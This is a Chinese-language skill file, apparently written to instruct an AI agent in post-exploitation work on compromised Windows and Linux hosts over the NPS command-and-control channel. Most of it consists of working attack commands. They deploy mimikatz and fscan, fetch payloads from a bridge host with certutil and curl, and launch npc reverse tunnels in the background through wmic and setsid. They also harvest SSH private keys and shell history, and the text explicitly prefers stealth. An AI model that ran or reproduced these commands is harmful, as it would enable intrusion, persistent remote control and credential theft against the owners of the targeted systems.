Remote Cmd Execution

Remote CMD Execution

你处理的是"如何在受控主机（Windows/Linux）上通过 NPS execcmd 稳定执行命令"这个问题。命令执行失败的首要原因不是权限，而是命令格式、路径规范、执行方式选择错误。

通用铁律（Windows/Linux 共用）

1. NPS execcmd 超时约 10 秒

所有超过 10 秒的任务（fscan 扫描、npc 上线、大文件传输）必须后台启动，不能同步执行。

2. upload_file 的 path 参数是目录，不是完整路径

# ✅ path 是目录
upload_file(cid, "/opt/tools/fscan", "C:\\Users\\Public")      # Windows
upload_file(cid, "/opt/tools/fscan", "/tmp")                     # Linux

# ❌ path 写成完整文件路径
upload_file(cid, "/opt/tools/fscan", "C:\\Users\\Public\\fscan.exe")
upload_file(cid, "/opt/tools/fscan", "/tmp/fscan")

上传后必须确认文件落地，不要假设上传成功：

• Windows: cmd.exe /c dir <path>
• Linux: ls -la <path>

3. 优先使用 NPS 文件下发而非目标机下载

NPS 本身就是 C2，自带文件上传/下载能力。优先用 push_tool / upload_file 直接下发工具，而不是让目标机 curl/wget/certutil 从外部拉取。这样更稳定、更隐蔽、不依赖目标出网。

# ✅ 优先：NPS 直接下发
push_tool(cid, "fscan/fscan_linux_amd64", "/tmp")
upload_file(cid, "/opt/nps_tools/mimikatz.exe", "C:\\Users\\Public")

# ⚠️ 备选：目标机不出网或 NPS 文件功能异常时才用命令下载
exec_cmd(cid, "curl -o /tmp/fscan http://<bridge>:44944/files/fscan")
exec_cmd(cid, 'certutil -urlcache -split -f http://<bridge>:44944/files/npc.exe C:\\Users\\Public\\npc.exe')

4. 优先使用绝对路径

不要依赖 PATH 环境变量。Web 进程、NPS npc 进程的 PATH 可能与交互式 shell 完全不同。

5. NPC 架构选择：默认 64 位

• 默认使用 64 位：npc_windows_amd64.exe / npc_linux_amd64
• 仅当 systeminfo 明确显示 x86 / i586 / 32-bit 时才用 32 位
• Windows Server 2008 R2 及以上几乎都是 64 位，不要因为前一台机器是 32 位就假设后续也是
• NPC 上线失败时，第一步检查架构是否匹配

6. NPS 封装工具（action_scan/tools_run）故障快速降级

NPS 封装命令可能有文件名映射 bug（如 tools_run 运行 fscan.exe 但实际文件是 fscan_windows_386.exe）。

如果封装命令报错或执行失败（"不是内部或外部命令"、文件找不到等），立即降级到手动流程：

# 1. 手动上传
upload_file(cid, "/opt/nps_tools/fscan/fscan_windows_amd64.exe", "C:\\Users\\Public")
# 2. dir 确认实际文件名
exec_cmd(cid, "C:\\Windows\\System32\\cmd.exe /c dir C:\\Users\\Public\\fscan*")
# 3. 用确认到的实际文件名执行
exec_cmd(cid, 'C:\\Windows\\System32\\wbem\\wmic.exe process call create "C:\\Users\\Public\\fscan_windows_amd64.exe -h 10.0.20.0/24 -o C:\\Users\\Public\\result.txt"')

禁止封装失败后切换到代理扫描等替代链路 — 直接修正本地执行即可。

Windows 专项

W1. execcmd 命令必须以 cmd /c 开头

NPS 的 exec_cmd 不经过 cmd.exe 解释器。dir、type、echo、set 等是 cmd.exe 内建命令，不以 cmd /c 开头不会执行。

# ✅ 正确
exec_cmd(cid, "C:\\Windows\\System32\\cmd.exe /c dir C:\\Users\\Public\\")
exec_cmd(cid, "C:\\Windows\\System32\\cmd.exe /c type C:\\Users\\Public\\result.txt")

# ❌ 错误 — 内建命令裸执行
exec_cmd(cid, "dir C:\\Users\\Public\\")

W2. 长时间任务用 wmic 后台启动

# ✅ wmic 后台启动
exec_cmd(cid, 'C:\\Windows\\System32\\wbem\\wmic.exe process call create "C:\\Users\\Public\\fscan.exe -h 10.0.20.0/24 -o C:\\Users\\Public\\result.txt"')

# ❌ 同步执行长任务（10秒后超时）
exec_cmd(cid, "C:\\Users\\Public\\fscan.exe -h 10.0.20.0/24")

W3. Windows 常用命令绝对路径参考

Windows 常见操作模式

# 文件下载（certutil，仅在 NPS 下发不可用时）
exec_cmd(cid, 'C:\\Windows\\System32\\cmd.exe /c C:\\Windows\\System32\\certutil.exe -urlcache -split -f http://<url>/file.exe C:\\Users\\Public\\file.exe')

# 进程查找（tasklist + findstr 管道）
exec_cmd(cid, 'C:\\Windows\\System32\\cmd.exe /c C:\\Windows\\System32\\tasklist.exe | C:\\Windows\\System32\\findstr.exe /i npc')

# NPC 后台启动
exec_cmd(cid, 'C:\\Windows\\System32\\wbem\\wmic.exe process call create "C:\\Users\\Public\\npc.exe -server=<bridge_ip>:8024 -vkey=auto"')

# 读取文件
exec_cmd(cid, 'C:\\Windows\\System32\\cmd.exe /c type C:\\Users\\Public\\result.txt')

# 目录列表
exec_cmd(cid, 'C:\\Windows\\System32\\cmd.exe /c dir C:\\Users\\Public')

Linux 专项

L1. 长时间任务用 nohup + & 后台启动

# ✅ nohup 后台
exec_cmd(cid, "nohup /tmp/fscan_linux_amd64 -h 10.0.20.0/24 -o /tmp/result.txt &")

# ✅ setsid 脱离终端（更可靠，不受 HUP 信号影响）
exec_cmd(cid, "setsid /tmp/npc_linux_amd64 -server=<bridge_ip>:8024 -vkey=auto > /tmp/npc.log 2>&1 &")

# ❌ 同步执行长任务
exec_cmd(cid, "/tmp/fscan_linux_amd64 -h 10.0.20.0/24")

L2. 工具上传后必须 chmod +x

push_tool(cid, "fscan/fscan_linux_amd64", "/tmp")
exec_cmd(cid, "chmod +x /tmp/fscan_linux_amd64")
exec_cmd(cid, "ls -la /tmp/fscan_linux_amd64")  # 确认权限

L3. Linux 常用路径和命令

Linux 常见操作模式

# 信息收集
exec_cmd(cid, "id && uname -a && ip a && ip route")
exec_cmd(cid, "cat /etc/passwd && cat /etc/hosts && cat /etc/resolv.conf")

# 文件下载（仅在 NPS 下发不可用时）
exec_cmd(cid, "curl -o /tmp/tool http://<bridge>:44944/files/tool && chmod +x /tmp/tool")

# NPC 后台启动
exec_cmd(cid, "setsid /tmp/npc_linux_amd64 -server=<bridge_ip>:8024 -vkey=auto > /tmp/npc.log 2>&1 &")

# 读取扫描结果
exec_cmd(cid, "cat /tmp/result.txt")

# 检查进程
exec_cmd(cid, "ps aux | grep npc")

# 检查端口监听
exec_cmd(cid, "ss -tlnp | grep -E '8024|1080'")

# 历史命令和密钥（信息收集重点）
exec_cmd(cid, "cat ~/.bash_history 2>/dev/null | tail -50")
exec_cmd(cid, "ls -la ~/.ssh/ 2>/dev/null && cat ~/.ssh/id_rsa 2>/dev/null")

排错检查清单

通用

1. 是否超时：长任务必须后台执行（Windows: wmic, Linux: nohup/setsid）
2. 上传是否成功：先确认文件存在和大小（dir / ls -la）
3. 是否 PATH 异常：用绝对路径替代命令名

Windows 专项

4. 是否缺 cmd /c：内建命令必须通过 cmd.exe 执行
5. 管道符转义：某些上下文中 | 需要用 ^| 转义

Linux 专项

6. 是否缺执行权限：上传后 chmod +x
7. 是否被杀：检查 dmesg 或 /var/log/ 中的 OOM/killed 日志
8. shell 环境差异：/bin/sh 可能是 dash 而非 bash，某些语法不兼容

与其他 skill 的关系

• 需要上传/下载文件、创建隧道 → 调用 nps-operator
• PHP webshell 构造 → 调用 php-payload-builder
• 整体渗透流程 → 回到 intranet-pentest